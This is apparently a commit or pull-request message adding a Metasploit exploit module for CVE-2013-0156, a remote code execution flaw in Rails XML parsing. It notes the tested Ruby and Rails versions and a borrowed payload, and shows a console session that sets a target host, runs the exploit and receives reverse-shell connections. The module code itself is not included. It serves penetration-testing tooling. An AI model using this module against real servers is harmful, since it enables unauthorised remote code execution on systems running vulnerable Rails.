Add exploit module for CVE-2013-0156

For no reason other than to beat you to it ;)
(hdmoore claimed they were pushing their own module in a couple hours time)

Tested with ruby 1.9.3 on Rails 3.2.10. Can probably be made to work on older ruby+rails versions, particularly using Gem::Requirement restricts it to 1.9.?.

A variation of @benmmurphy's elegant payload is used, which he may or may not be comfortable with. I figure it's not *too* difficult to come up with independently and my/charlie's hack would just be replaced by something similar eventually.

```
msf > use exploits/unix/webapp/rails_xml_parsing_exec
msf  exploit(rails_xml_parsing_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf  exploit(rails_xml_parsing_exec) > exploit

[*] Started reverse double handler
[*] Sent exploit request
[*] Accepted the first client connection...
[*] Accepted the second client connection...
```